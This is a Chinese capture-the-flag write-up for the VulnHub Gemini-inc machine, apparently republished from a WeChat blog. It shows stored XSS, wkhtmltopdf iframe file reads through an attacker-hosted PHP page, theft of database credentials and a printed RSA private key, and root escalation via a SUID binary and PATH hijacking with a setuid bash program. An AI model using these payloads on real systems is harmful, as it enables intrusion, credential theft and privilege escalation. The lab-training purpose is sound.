VulnHub靶机-Gemini-inc |红队打靶
2023-6-20 21:9:9 Author: 0x00实验室(查看原文) 阅读量:25 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 19 篇文章 

信息收集

目标主机开放了2280端口,22端口openSSH服务的版本是7.4p1,80端口,http服务的应用版本是apache 2.4.25.在下面还扫描出来一个路径test2

默认去访问的角色为guest。页面内容:

这是一个内部应用,会给员工查看一些PDF配置文件信息

这个应用基于开源软件搭建。

然后页面没有什么特别,去查看源码。

然后看到源码绿色注释字体有提示有关php文件。

之前就有个特别的地方

当我们查看test2目录的时候。左上角一直有小点在旋转。说明有资源加载。

那么我们需要使用burpsuite来进行观察资源加载情况。

来到设置,把那个proxy的请求截断规则的第一条取消掉

同时我们把服务器端返回的资源也进行截断,并且显示出来。这里取消勾选第一栏,然后勾选上那个截断回应intercept

所有返回了类的信息和资源也都需要去查看,目前并不确定页面去请求什么资源没有被响应。然后设置浏览器的代理。

上面就是在打开80端口之后,点击test2目录就会记载资源,左上角就会一直转圈圈。现在开始在浏览器输入目标靶机url:http://192.168.1.107/点击test2目录,然后打开burpsuite。然后点击,test2目录。

然后,点击forward,发出的请求获得响应

再次点击forward,进行了一次重定向请求,出现的是以下页面。从上面可以看到,当我们发出第一次请求的时候,获得响应跟当时打开test2目录时页面内容一模一样

然后第二个请求,去请求谷歌下面的一个JS库,目前猜测就是因为国内访问政策,请求不到这个资源或者加载太慢导致浏览器左上角一直转圈,然后点击forward

    进去页面之后点击login后,burpsuite截断显示也并没有加载什么资源,以及新的请求。然后为了接下来的测试,那个JS资源没有办法加载导致页面功能无法正常使用,因为要访问谷歌。那么这里需要使用到代理。代理在kali中的代理是这样设置的:(我的是个人设置,具体个人情况个人自己查看)

    然后页面内容就能完全加载,就能进行账号和密码的登录。这个账号和密码未知。目前这个web应用程序基于开源项目修改而来。

当查看到里面一个install文件的时候,里面存在一个机密信息。会发现里面有一个默认的账号和密码

    然后尝试进行登录,发现目标管理员没有修改默认账号和密码。唯一的变化就是出现了一个admin个人页面,里面有配置信息。

另外多出来一个表单,可以修改管理员的用户名、密码、组、展示名、邮箱。

修改完:

修改之后,页面就会原封不动返回回来。那我们可以测试一下是否存在XSS:在修改profile的内容中增加一个JavaScript脚本内容。

然后页面弹出email invalid,进而在这个位置,发现email地址还是有过滤和校验的。但是上面用户名也是我们刚才修改提交的地方,我们也可以对这个展示名,这个表单进行测试。

    结果发现我们可以插入标签性的内容。显示的结果就会按照HTML内容进行显示。那可以再进一步。换上JavaScript试试。如果能实现,就发现一个XSS的漏洞。

<script>alert(XQW)</script>

然后回到页面发现:这里果然存在一个跨站脚本漏洞

    这样,当我们每次刷新客户端都会加载JavaScript代码显示在页面。现在就只发现了服务端存在一个XSS漏洞,并不能拿权限。然后在URL上面看到profile.php?u=1这样的数据提交形式,尝试测试这里有没有存在SQL注入

似乎这里经过简单的测试,并不存在SQL注入

    这里还多发现一个manual路径。这里是apache的一些服务端文档,而且都指向静态HTML页面。对于这样的一个页面,找不到可以直接利用的漏洞。

    然后还是回来关注这个test2目录下面的页面。发现除了能编辑配置admin信息,还能导出配置文件。同时之前页面上也貌似有提示我们去每个员工查看配置文件并导出PDF文件

点击export profile之后

    现在可以看到左上角在转,其实就是服务端正在创建和生成账号和相关的配置信息。并且将配置信息导成PDF。生成完成之后就可以进行下载

然后点击右边的查看文档属性。

能够发现这个文档是wkhtmltopdf 0.12.4,一个服务端组件生成的。针对这个组件,搜索有没有已知漏洞可以发现

打开这个文档,发现攻击方法为:

攻击的方法:通过插入iframe的框架,然后通过iframe的源来引入本地文件,通过本地文件的读取方式,读取本地文件内容,然后在渲染过程当中读取出来。

上面那个iframe源指向另外一个URL地址,其实是针对AWS指向云端主机)通过AWS向云主机的。这是典型的对AWS攻击主机点一种方法。通过阅读上面内容,知道:如果能在某个位置插入iframe标签,通过源的调用,就可以读取本地的文件或者网络上的文件。既然发现这个漏洞的存在,这个组件本身就存在漏洞。刚才服务端的display name表单就可以插入script。

<iframe src=“file=///etc/passwd"></iframe>

然后使用导出功能查看PDF内容,这样看看能不能读取到/etc/passwd文件。但是结果另人有点失望,最终没能读取出来passwd文件。但是总观这个靶机找不到其他的攻击点,继续进行进一步的探测。这里看看能不能加载一些网络资源。比如读取一个网络的资源。

在kali上面:

systemctl  start apache2cd /var/www/htmlecho “12345678” > 1.txt<iframe src="file://192.168.1.104/1.txt"></iframe>

保存之后,再查看pdf文件。然后确实是能看到刚才编写的txt文件内容。

    说明刚才的那个资源请求,利用跨站脚本漏洞,其实是能访问远端的主机。这样确定了XSS,但是刚才并没有成功利用漏洞实现读取本地文件。远程文件都额能读取,本地文件应该也能读取。

之前就看到SSR和本地文件包含漏洞相结合,能实现本地文件读取。

然后继续搜索这个web组件WKHTMLTOPDF的漏洞

最后附上实现的方式

    其实就是通过web攻击者自己放置一php文件,服务器端通过XSS漏洞读取了php代码,将这段代码读取到应用当中,让这段代码在靶机服务器中执行,执行完之后,就是在靶机读取本地的passwd文件,这个过程有点绕。

下面看看实现过程

<iframe src=http://192.168.1.104/a.php?url=“/etc/passwd></iframe>

这里需要导出PDF文件的时候才会调用HTML-PDF组件,才会加载php代码读取本地passwd文件。之前那个txt文件是因为能直接访问结果所以能直接放到表单里面。

现在查看PDF文件里面的内容就是目标靶机passwd文件。现在稍微编辑注入的内容,因为显示的窗口太小

<iframe src=”http://192.168.1.104/a.php?url=/etc/passwd" width=800 height=3000></iframe>

    然后对文件内容检查,除了root用户,存在bash shell。还存在一个gemini1,其他账号都是没有shell登录权限。接下来可以对密码进行暴力破解,或者寻找其他关于突破边际的信息。这里其实还尝试修改刚才那个PHP文件地址为PHP代码,尝试之后发现只能进行文件读取,不能实现执行命令。而且之后还对靶机的源码托管平台中对系统源码进行审计

https://github.com/ionutvmi/master-login-system

只发现在一个inc目录下面发现了settings.php文件。里面包含着数据库的账号和密码信息。然后也利用刚才XSS漏洞去读取这个inc目录下面的settings.php文件。

然后去尝试寻找目标上是否存在这个数据库明文信息。

<iframe src=”http://192.168.1.104/a.php?url=/var/www/html/test2/inc/settings.php width=800 height=3000></iframe>

然后发现这个文件是可以读取到的。漏洞就是存在HTML-PDF这个组件,这个组件只有在使用时进行渲染HTML内容,这个漏洞才会被触发,然后触发结果也在PDF内容中才能看到。

然后获得数据库的用户名和密码为:gemini2    dbsuperpassword

数据库名字:geminiinc

然后尝试进行登录发现失败,或者以root进行搭配着三个字符串登录也失败了。然后检查有没有进行SQL注入漏洞。因为对服务端代码检查:通过?问号来进行规避风险。

这里注意到这个文件的注释是small bug fixed,于是进行查看。注意到里面的语句都是使用?来占位,这样客户端提交上来的字符就还是字符本身,不会以SQL语句解析和执行。

接下来要思考从实现边界突破呢?这里想到一种方法:目标靶机开放了SSH服务,会不会在他主目录下面有公钥身份认证登录呢。首先,这里先读取私钥内容id_rsa文件。

-----BEGIN RSA PRIVATE KEY-----MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5uVl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4Vu7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4ZDqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+poSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWYWS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuDeMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeMQMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZrVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYRMhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauIxHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpYAJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+ablaSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jScotXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NApU2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86BkSwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+hJAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGhvXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Btj8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=-----END RSA PRIVATE KEY-----

然后是公钥id_rsa.pub信息。

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC/yxiQKZQW6nBDyleybRcIDLFxHqbnL0Z9FaZCau9v2ok/fGzpzXV1f0yLw4sGkq4H5jTxpOBZsS1QCRUSlFT6aT7ClLHng5MEwVffnHiyfPP5fm5WXWtSf1nhATlImk699XcN3D3OVUDQwIkaL9Fbg4NFiY8d6yo0dowYqpOdGaff/hW7tyX4qk9mZAnMBKh9/IGfVvFCiapORvkAaGQCCCw49LTG/o/aD+ZyYxQhFZpMfhkOqumrEW0lu5ZKzM+G7DcsuoBivLRGUQf8x2LZHEzdVm+oNGWxXQM7virIGEGyr6mhJt3Chdqjyfug7YBIdzTl3a+2aaYY/fX7imO5 gemini1@geminiinc

然后查看是否存在一个authorized_keys文件。如果和对应公钥文件的内容如果相同,意味着公钥和私钥可以利用来做基于密钥的SSH登录。这样就不需要知道目标的密码,也能使用公钥进行登录。

然后进行公钥和authorized.keys对比。

然后发现目标服务器是运行gemini1账号使用公钥进行登录的。

    随后,这里想到利用脏牛漏洞,经过测试脏牛漏洞并不能进行提权。然后又去检查了权限执行漏洞的可能性。这台命令的内容就是想找到一个所有者是root、文件类型是普通文件,权限是加了SUID和可执行的文件。

然后查看了挨个命令,都必须至少需要知道当前密码才可以进行切换。

其中有个命令叫listinfo命令的。其实是显示主机内的网路配置信息、服务侦听端口。有点像执行ipconfig之类的结果。

然后查看是什么类型可执行文件,里面包含什么可打印字符串。看看有没有什么语义方面的内容。

    上面内容执行的结果就是listinfo执行完的内容。其实就是把已有系统命令进行编译整合,统一显示在输出里面。

/sbin/ifconfig | grep inet/bin/netstat -tuln | grep 22/bin/netstat -tuln | grep 80date

    前三行都指定了命令的绝对路径,都是只允许属组进行修改,其他的用户只能读取和执行。如果能修改这个文件,就能去替换这个文件,换成木马,下一次运行这个木马文件的话就能以root身份被触发、执行,可以用来进行反弹shell。但是data这个命令并没有指定绝对路径。如果换成反弹shell,被listinfo调用,就能利用这个小漏洞,运行反弹shell实现提权。我们现在修改里面的内容为:调用这个root自身,执行一个bash shell。文件里面调用系统的头文件、一些库、一些输入输出头文件,写主函数调用SUID,SGID,利用这个账号执行bash。

#include <sys/types.h>#include <unistd.h>#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/bash");}

现在运行listinfo,会去系统里面路径找到data命令去执行。但是如果我们自己生成一个payload叫做date,这个date是放在当前目录下面,这时候我们执行listiinfo。这个date就不是原有操作系统里面的那个date文件。

export PATH=/home/gemini1:$PATH

一旦做了这个修改,前面增加了路径。当去执行系统命令的时候,先去找这个路径,找到了之后就不会去后面的/bin目录下面找自带的data命令。

拿下:

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247490972&idx=1&sn=c268b7ea7ffe341a96ba0404dbefc9c1&chksm=cfd86263f8afeb75a89b5ebf1de9ff7c5f5576d4a2d96c1cf7cd25ee8f74e1db45a44ef4d22b#rd
如有侵权请联系:admin#unsafe.sh